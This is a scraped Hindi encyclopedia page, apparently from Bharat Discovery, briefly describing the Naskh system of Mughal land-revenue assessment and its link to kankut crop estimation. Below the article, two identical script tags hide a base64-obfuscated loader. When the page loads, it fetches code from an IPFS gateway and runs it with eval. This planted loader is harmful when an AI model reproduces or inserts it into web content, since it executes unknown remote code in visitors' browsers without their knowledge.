नस्ख प्रणाली  

नस्ख प्रणाली मुग़ल काल में भू-राजस्व व्यवस्था की एक पद्धति थी। मुग़ल साम्राज्य में इसका बहुत प्रचलन था, परन्तु इसके विषय में विस्तृत जानकारी का अभाव है।

  • सम्भवतः इस प्रणाली में भूमि को प्रत्येक वर्ष नहीं मापा जाता था। पटवारी के पास लिखित दस्तावेज़ों में जो माप लिखी होती थी, उसी को मान लिया जाता था।
  • इसमें कर का निर्धारण ‘नस्ख पद्धति’ व फ़सल के अनुमान द्वारा निश्चित होता था। निर्धारण की इस कच्ची प्रणाली को ‘कनकूत’ भी कहा जाता था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=नस्ख_प्रणाली&oldid=523042" से लिया गया